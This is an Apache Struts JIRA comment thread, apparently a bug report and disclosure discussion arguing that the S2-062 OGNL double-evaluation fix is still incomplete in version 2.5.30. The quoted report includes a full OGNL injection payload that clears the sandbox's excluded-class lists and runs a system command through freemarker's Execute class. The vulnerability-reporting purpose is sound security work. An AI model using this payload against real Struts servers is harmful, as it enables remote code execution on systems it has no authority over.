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https://issues.apache.org/jira/browse/WW-5206?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17576371#comment-17576371
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Amaël Heiligtag commented on WW-5206:
-------------------------------------
My position is that upgrading to 2.5.30 does *not* address incomplete fix of
S2-061. The test code used in this ticket was originally created to check an
application's vulnerability to CVE-2021-31805/S2-062. After upgrading to
version 2.5.30 the same code is still vulnerable even if S2-062 indicates that
this version should prevent double evaluation.
This is not any new case or usage, it's exactly the code of
CVE-2021-31805/S2-062 and it proves that the fix is still incomplete.
> OGNL execute arbitrary code
> ---------------------------
>
> Key: WW-5206
> URL: https://issues.apache.org/jira/browse/WW-5206
> Project: Struts 2
> Issue Type: Bug
> Components: Core
> Affects Versions: 2.5.30
> Reporter: Benjamin Lepeigneul
> Priority: Trivial
>
> Hi,
>
> I can run arbitrary code with version of struts 2 - 2.5.30.
>
> +*JSP code :*+
> <s:textarea
> label="%\{getText('information.message.erreur')}"
> id="messageErreurTexte"
> name="formInformation.message"
> cssClass="input-messageErreur"
> value="${pageInformation.message}"
> />
>
> +*If I write this text in my form input textarea :*+
> %\{(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0)
> +
> (#request.map.setBean(#request.get('struts.valueStack')) ==
> true).toString().substring(0,0) +
> (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0)
> +
> (#request.map2.setBean(#request.get('map').get('context')) ==
> true).toString().substring(0,0) +
> (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0)
> +
> (#request.map3.setBean(#request.get('map2').get('memberAccess')) ==
> true).toString().substring(0,0) +
> (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet())
> == true).toString().substring(0,0) +
> (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet())
> == true).toString().substring(0,0) +
> (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec(\{'calc.exe'}))}
> Whenever the page is displayed, the binary calc.exe is executed.
>
> My generic struts params :
> * struts.ognl.allowStaticMethodAccess = true
> * struts.ognl.expressionMaxLength not set
> * struts.devMode = false
> * struts.ui.theme = simple
>
> Is it normal ?
>
> Thanks.
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